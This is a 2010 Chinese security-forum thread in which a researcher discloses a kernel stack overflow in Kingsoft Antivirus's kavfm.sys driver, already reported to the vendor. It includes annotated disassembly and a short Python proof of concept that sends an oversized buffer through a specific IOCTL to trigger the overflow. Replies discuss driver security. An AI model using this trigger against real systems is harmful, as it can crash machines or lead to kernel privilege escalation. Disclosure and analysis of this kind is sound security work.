首页
论坛
课程
招聘
[原创]金山毒霸2011内核溢出漏洞
2010-9-13 14:23 12786

[原创]金山毒霸2011内核溢出漏洞

dge 活跃值
6
2010-9-13 14:23
12786
这个漏洞是我7月份报告给金山的,漏洞存在于kavfm.sys中,它没有正确处理用户提交的参数,因此导致了这个溢出漏洞。
在新版本中,这个驱动被去掉了。

影响版本:Kingsoft Antivirus <=v2010.04.26.648

漏洞分析:

.text:00012160
.text:00012160 sub_12160       proc near               ; CODE XREF: sub_129B0+2Fp
.text:00012160
.text:00012160 var_44          = byte ptr -44h
.text:00012160 var_4           = dword ptr -4
.text:00012160 arg_4           = dword ptr  0Ch
.text:00012160
.text:00012160                 push    ebp
.text:00012161                 mov     ebp, esp
.text:00012163                 mov     ecx, [ebp+arg_4]
.text:00012166                 mov     eax, [ecx+60h]
.text:00012169                 sub     esp, 44h
.text:0001216C                 push    ebx
.text:0001216D                 mov     ebx, [eax+IO_STACK_LOCATION.Parameters.DeviceIoControl.InputBufferLength]
.text:00012170                 mov     eax, [eax+IO_STACK_LOCATION.Parameters.DeviceIoControl.IoControlCode]
.text:00012173                 push    esi
.text:00012174                 add     eax, 7FFCFFFCh
.text:00012179                 xor     esi, esi
.text:0001217B                 cmp     eax, 28h        ; switch 41 cases
.text:0001217E                 push    edi
.text:0001217F                 mov     edi, [ecx+IRP.AssociatedIrp.SystemBuffer]
.text:00012182                 ja      loc_122E0       ; default
.text:00012182                                         ; jumptable 0001218F cases 1-3,5-7,9-11,13-15,17-19,21-23,25-27,29-31,33-35,37-39
.text:00012188                 movzx   eax, ds:byte_1231C[eax]
.text:0001218F                 jmp     ds:off_122EC[eax*4] ; switch jump
.text:00012196
.text:00012196 loc_12196:                              ; DATA XREF: .text:off_122ECo
.text:00012196                 push    ebx             ; 拷贝长度是InputBufferLength,是我们可控制的。
.text:00012197                 lea     ecx, [ebp+var_44];
.text:0001219A                 push    edi             ; 如果这个串大于72字节就可以覆盖到返回地址。
.text:0001219B                 push    ecx             ; char *
.text:0001219C                 call    strncpy        
.text:000121A1                 add     esp, 0Ch
.text:000121A4                 lea     edx, [ebp+var_44]
.text:000121A7                 push    edx
.text:000121A8                 mov     [ebp+ebx+var_44], 0
.text:000121AD                 call    sub_15410
.text:000121B2                 pop     edi
.text:000121B3                 mov     esi, eax
.text:000121B5                 pop     esi
.text:000121B6                 pop     ebx
.text:000121B7                 mov     esp, ebp
.text:000121B9                 pop     ebp
.text:000121BA                 retn    8

poc:

#!/usr/bin/python

from ctypes import *

kernel32 = windll.kernel32
Psapi    = windll.Psapi

if __name__ == '__main__':
    GENERIC_READ  = 0x80000000
    GENERIC_WRITE = 0x40000000
    OPEN_EXISTING = 0x3
    CREATE_ALWAYS = 0x2

    DEVICE_NAME   = "\\\\.\\kavfm"
    dwReturn      = c_ulong()
    out_size      = 1024
    in_size       = 1024
    in_data       =''
    driver_handle1 = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE,
                                                0, None, CREATE_ALWAYS, 0, None)
    in_data=1024*'\x80'
    dev_ioctl = kernel32.DeviceIoControl(driver_handle1, 0x80030004, in_data,500, 0, 0,byref(dwReturn), None)

EOF

[2022冬季班]《安卓高级研修班(网课)》月薪两万班招生中~

收藏
点赞0
打赏
分享
最新回复 (22)
雪    币: 210
活跃值: 活跃值 (23)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
wyshzz 活跃值 4 2010-9-13 14:46
2
0
ring0下对ring3的进程都没有进行过滤么
雪    币: 1115
活跃值: 活跃值 (17)
能力值: ( LV12,RANK:230 )
在线值:
发帖
回帖
粉丝
pencil 活跃值 5 2010-9-13 15:00
3
0
学习,谢谢 lz
雪    币: 17
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
zhengjiong 活跃值 2010-9-13 15:11
4
0
很想知道楼主是如何发现的。。
雪    币: 18
活跃值: 活跃值 (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
ipfans 活跃值 2010-9-13 17:47
5
0
记得发到softrce,哈哈
雪    币: 27
活跃值: 活跃值 (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
mszjk 活跃值 2010-9-13 18:14
6
0
随意让人DeviceIoControl很蛋疼啊...
雪    币: 558
活跃值: 活跃值 (20)
能力值: ( LV13,RANK:290 )
在线值:
发帖
回帖
粉丝
dge 活跃值 6 2010-9-13 18:19
7
0
我觉得不让人随意DeviceIoControl才蛋疼。为什么不让人随意,追其原因是因为写不出安全的代码。
雪    币: 558
活跃值: 活跃值 (20)
能力值: ( LV13,RANK:290 )
在线值:
发帖
回帖
粉丝
dge 活跃值 6 2010-9-13 18:29
8
0
SOFTRCE的密码老是忘,所以发的晚了些
雪    币: 263
活跃值: 活跃值 (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
still 活跃值 2010-9-14 10:42
9
0
现在的安全软件其实不安全,大部分安全软件驱动都存在类似于这样的问题,不知道为什么,搞驱动的人总是没有安全的编码意识,这点还真应该多学学3XX
雪    币: 30
活跃值: 活跃值 (1210)
能力值: ( LV17,RANK:1820 )
在线值:
发帖
回帖
粉丝
riusksk 活跃值 41 2010-9-14 10:43
10
0
膜拜强大的dge兄弟!!!
雪    币: 108
活跃值: 活跃值 (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
chenmo不行 活跃值 1 2010-9-14 12:21
11
0
我的妈来,我用的就是这个版本的,我想知道你是怎么去分析出这个漏洞的呢?叹自己的技术太菜
雪    币: 303
活跃值: 活跃值 (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
痞子辉 活跃值 1 2010-9-14 12:50
12
0
不错,顶一个。。。
雪    币: 5076
活跃值: 活跃值 (3484)
能力值: (RANK:550 )
在线值:
发帖
回帖
粉丝
gjden 活跃值 13 2010-9-14 16:20
13
0
杀软的驱动文件本来不多(就那么几个),IDA一下,再去有限的几个IRP派遣例程或者是进入IoControl例程里,看看与用户态通信的代码就能发现点端倪,看看hook函数也会有收获。
雪    币: 558
活跃值: 活跃值 (20)
能力值: ( LV13,RANK:290 )
在线值:
发帖
回帖
粉丝
dge 活跃值 6 2010-9-14 16:42
14
0
楼上的兄弟说的很对,能看懂汇编,了解点驱动相关知识,知道strncpy怎么用,就能发现这个漏洞。
雪    币: 77
活跃值: 活跃值 (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
xhflovemy 活跃值 2010-9-14 16:58
15
0
很厉害。。。我想知道是怎么发现的
雪    币: 150
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
chenjun 活跃值 2010-9-14 19:15
16
0
dge大哥是东软的,膜拜下
雪    币: 1115
活跃值: 活跃值 (17)
能力值: ( LV12,RANK:230 )
在线值:
发帖
回帖
粉丝
pencil 活跃值 5 2010-9-14 20:38
17
0
呵呵,在东软旁边上过班~
雪    币: 27
活跃值: 活跃值 (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
mszjk 活跃值 2010-9-14 21:18
18
0
不让人随意DeviceIoControl的原因不止这一个
举个另外的原因:比如xuetr的驱动,如果打上数字签名,这个驱动还可以让人随意DeviceIoControl吗?如果可以,以现在大部分的av,hips都是放行PreviousMode==KernelMode的操作这特点,基本99%的av,hips都会蛋疼死了.正规的打数字签名的类似的软件也不是没有.

验证ring3进程就好比给车子装个安全气囊,以此来加大漏洞利用难度,并不是说装了安全气囊就可以让司机乱开车.这就好象GS选项存在的意义.
雪    币: 1067
活跃值: 活跃值 (123)
能力值: (RANK:210 )
在线值:
发帖
回帖
粉丝
zhuliang 活跃值 5 2010-9-15 08:49
19
0
学习了,分析得很好。只是我看不懂脚本语言。
雪    币: 558
活跃值: 活跃值 (20)
能力值: ( LV13,RANK:290 )
在线值:
发帖
回帖
粉丝
dge 活跃值 6 2010-9-15 09:48
20
0
恩,我说的片面了些,我只是想强调加了这种验证并不能解决存在漏洞的问题,提高驱动开发者的编码水平才是王道。
雪    币: 39
活跃值: 活跃值 (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
jiangming 活跃值 2010-9-15 17:32
21
0
不错   学习了
雪    币: 35
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
xiehuixp 活跃值 2010-9-16 17:24
22
0
谢谢楼主分享..慢慢学习
雪    币: 29
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
webwizard 活跃值 2010-9-21 02:05
23
0
学习了。LZ厉害。火眼金睛!!!
游客
登录 | 注册 方可回帖
返回